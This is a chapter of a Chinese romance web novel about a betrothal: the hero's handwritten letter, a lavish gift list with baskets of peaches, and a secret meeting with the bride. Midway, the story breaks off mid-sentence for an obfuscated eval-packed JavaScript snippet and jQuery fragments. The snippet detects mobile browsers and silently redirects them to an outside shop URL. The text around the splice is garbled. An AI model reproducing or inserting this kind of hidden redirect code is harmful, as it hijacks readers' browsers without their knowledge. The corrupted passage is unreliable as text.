纳征前日顾翊承将自己关在书房整整一日,想着亲手写下聘书,奈何总觉得自己的字差点意思,眼下是无比的悔恨,当初怎不多学些。
他在澄心纸上练了一遍又一遍,总觉不称心,不知不觉间,桌案,地上满是纸团,流风前来送膳都无立足之地。
主子道放一旁他还不饿,流风只得先将午膳搁在一旁,一点一点地捡起纸团来,好不容易拾掇干净这才退下。
流风展开其中一张瞧了瞧,依他所见,已然很是不错,苍劲有力,字迹工整,可抬眼看向主子那张苦着的脸上,皱紧的眉头都能夹死一只蚊子了,只得退下,裴姑娘是主子心中顶顶紧要之人,他自也不会让人扰了主子,自顾自的守在门外。
下人来送晚膳时,他才惊觉时辰不早了,接过下人送来的晚上,他转身轻轻推开门,跨步进去,一眼便瞧见午膳原封不动地在桌案上搁着,地上又堆满了纸团,与之不同的是,现下主子笔下摊开的是聘书,一笔一划写的极慢,手腕稳稳当当,细看之下,嘴角还挂着一丝笑意。
流风大气不敢出,小心翼翼地将晚膳放下,退了出去,不多时,里头传出声响:“流风。”
流风推门而入。
顾翊承将聘书放入锦盒中,递给流风,声音里带着一些不易察觉的松快:“你亲自拿去给母亲。”
忙活一日,顾翊承活动了下僵硬的脖子还有手腕,也不管袖口沾着的墨痕,坐在一旁大口大口地吃了起来。
媒人高昂着头前来送礼,身后跟着送聘礼的人可是排了足足好几个弯,阵仗之大,吸引了不少百姓前来看热闹。
拿聘礼单子交由裴夫人手里,起初裴夫人也没往心里头去,这端王府自是不会做出些出格之事来,她一打开,聘礼单子太重一时没拿稳,聘礼单子从她手中哗啦啦垂下好几尺长,她赶忙叫了个丫鬟上前帮忙,才将聘礼单子展开。
“玉如意一对、金镯子十对、银钗二十支、玉镯四对、翡翠簪四支、绸缎四十匹、锦被八床、碧螺春十六罐、女儿红三十二坛、喜饼六十四盒、桂圆、红枣、花生各十框......”
管家念着聘礼单子起初还中气十足,只是这念着念着,茶水喝了不少,声音反倒小了,逐渐没了气力。
这一箱箱一筐筐的聘礼抬进裴家门,引得街坊邻里聚在府门外,各个踮着脚尖,伸长脖子,探着脑袋往里瞧,眼睛都看直了,那些个绸缎一匹就够他们普通人家一年的花销,无不艳羡裴家姑娘的。
这聘礼单子念完,管家正要收回,媒人扭着腰上前,笑称:“还有呢。”
随即招手示意,一筐筐粉粉嫩嫩的水蜜桃被抬了进来,堆满了整个院子,甜丝丝的果香四散飘荡开来,充斥在每个人的鼻腔中。
裴夫人反倒有些摸不着头脑,这上百框的桃子未写在聘礼单子上,是何寓意?
媒人掩着笑,笑道:“这是我家公子特意叮嘱另给姑娘的,不算在聘礼单子上头。”
裴夫人微微侧身瞄了眼屏风后的身影,她知晓自己女儿听见了,开心女儿受未来夫君的疼爱,却也苦恼这上百框桃子该如何处置是好。
听荷从屏风处走出,在裴夫人身前行礼,才轻声道:“夫人,不若分与街坊邻里,大家一同沾沾喜气便是。”
这是裴舒宁的意思,裴夫人闻言当即让人将桃子分了分,剩下的都先放着,让姑娘自己个来瞧瞧如何处置。
即便是分了不少,这院中的桃子仍是让裴舒宁苦恼,她随手拿起一颗桃子,用手帕在桃子表面蹭了蹭,咬下一口,汁水险些溢出唇角。
“甜吗?”
裴舒宁寻声望去,母亲就站在她身后笑着,她一时羞涩,热气冒上脸颊,撒了撒娇:“母亲。”
“我瞧着是甜的,甜到心里去了吧。”
“哎呀,母亲又打趣我。”
裴夫人看着眼前人,从襁褓中长成如今模样,好似还是昨日之事,一眨眼就要离府做别人的娘子了,现下种种,看得出,顾翊承是真心爱护,亦是真心求娶,可真心最是个容易变的东西,她不愿女儿往后会历经这一天,但该说的她这个作为母亲的还是要说的。
“我与你父亲从未约束你,以至于你的性子跳脱,可我与你父亲从未觉得这般不好,反倒替你开心,不用在所谓的规矩中束缚自己的内心,母亲希望你能活得随心所欲,自由自在,但这世道往往又许多的不得已,母亲希望你们夫妇将来能白首不相离,恩爱一世,多体谅对方,但也不希望若是有一天你受了欺负,委曲求全,我与你父亲视你为掌中宝,你过得不好,我与你父亲亦是如此,这里永远是你的家。”
母亲所说她都明白,无非是让自己与顾翊承好好过日子,莫要再像当初那样,若是有一日他不爱自己了,也莫要强求,只管回家来,女子也该有自己的一生,无需依附在男子身上过活一生。
见她明白,裴夫人也不多说,将聘礼单子递给裴舒宁,眼里含笑,让她看看这聘礼单子,仔细看看。
裴舒宁接过,揣摩许久,才恍然大悟,这聘礼数相加不正是她的生辰嘛?!
这事居然还被母亲发现了,顿时好一阵脸红。
眼下两家过了婚书,收了聘礼,基本上其他流程都已在走完,就待顾翊承上门迎娶了,也已有好些日子未曾相见,这几日裴舒宁都待在后厨忙碌。
待嫁的日子里百无聊赖,一切皆有母亲和顾翊承打理,她只要安心待嫁便是。
她双手托腮,摆弄着窗台上今日刚插好的荷花,盛开的花瓣里似是还盛着一滴水珠,她轻轻触摸,那花瓣从她指尖划过,微微颤动,水珠也随之滴落在瓶中,倏地窗外探出一个带着帷帽的脑袋,惊得裴舒宁直起腰身,连连后退。
反被他抓住其中一只手腕,揽住腰身,两人靠近,那熟悉的香味传来,不是顾翊承是何人?
她吓一大跳,低声问道:“你怎么来了?”
说着,便伸手去掀他的帷帽,许久未见,怎能隔着一层帷帽?
他抓住她的手,帷帽下的声音闷闷的:“想你了,你想我没?”
裴舒宁搂住他的腰身,娇声道:“那为何不让我见你?”
“婚前相见不吉利,我带着帷帽便算不得了。”
她的那双眼睛亮亮的,就这么笑看着他,也不说话,紧了紧手臂,拥着他,贴在他宽阔的胸膛上,感受着他的体温。
抱了好一会,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877320|212003||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
两人隔着窗户多有不便,顾翊承越过窗户,径直站在她面前,从胸口掏出一张字条,低下头,轻声对她说:“你看看这个。”
裴舒宁不解,抬头看他,那人示意她打开,裴舒宁展开字条,休书两个字映入眼前,她心中一紧,快速展开,一目十行的看过去,最后是他已经画押的签名。
“这是什么?”
“或许从前做了许多错事,但我真心从未变过,我知过往无法改变,我顾翊承再次承诺,往后一生一世一双人,永不可能会有旁的女子,这个是休书,若我做不到,我愿将我名下所有房产给予你。”
“所以?这是给我休了你的保证?”她忽然笑了,笑得很轻:“此举不是让我给你和别的女子腾位置吗?”
顾翊承咽了咽口水,这是他从未想过的,他本意并非如此,他只是想尽自己能力给她最大的安心,他也坚信往后的日子里,这张休书根本不会有派上用场的机会。
“我......你相信我,我没那个心思。”
裴舒宁噗嗤一声笑出声来:“逗你的。”
她举起那张字条,在他面前撕了个粉碎,声音沉稳:“我自是信你的,你我之间何须这个?自我答应嫁与你那一刻,将来会怎么样我都认,绝不后悔,但你若真变了心,我也必不会苦苦哀求纠缠,也正是因为我相信你,所以......这个休书不过是个废弃之物,既无用,留着作何?”
“我定不会让你有离开我的一天!”
顾翊承一把捂上她的眼睛,掀开帷幔亲了上去,将人紧紧搂在怀中,亲的裴舒宁直踮起脚尖去承受他的吻,良久,在松开她眼睛那一刻,他又将帷幔放下。
“聘礼可还满意?”他问。
她盯着帷幔后若隐若现的俊脸,在他的凝视下,摇摇头。
顾翊承脸色一白,心中一紧,问她:“怎么了?”
裴舒宁转身,拉着他坐下,不满道:“这几日不仅我们裴府的厨子下人累死了,我也是。”
这几日她天天往后厨跑正是因为如此,那桃子太多,天气炎热又不好保存,她不舍得浪费,只得去看看能怎么保留,她撅着嘴道:“那坛子分给下人街坊邻里都还剩了不少,这一筐筐的剥皮,去核,切块,晒干,从早忙到晚,那下人从一开始的新奇,到后来触桃生厌,你是想让我开个果脯铺子不成?”
“我给你按按,这几日该是累坏了。”
裴舒宁也想松快松快,便由着他去了,捻起桌上一块果脯,这是最早铺晒的桃子,晒得半干,晶莹剔透的果肉里透着丝丝甜味。
“尝尝。”
她把蜜饯送进他嘴里。
“甜吗?”她问。
他点点头,俯下头:“跟我刚才尝的味道一样。”
裴舒宁眨巴眨巴眼,好一会才反应过来,他说的是什么,方才她吃了不少蜜饯,这人可真是孟浪的很!
她移开话题:“下次别送这么多了。”
“怕你不够吃。”
“我又不是猪,怎能吃这么多?”
“你可是个小馋猫。”
“你说我贪嘴。”
“我哪有。”
“你就有。”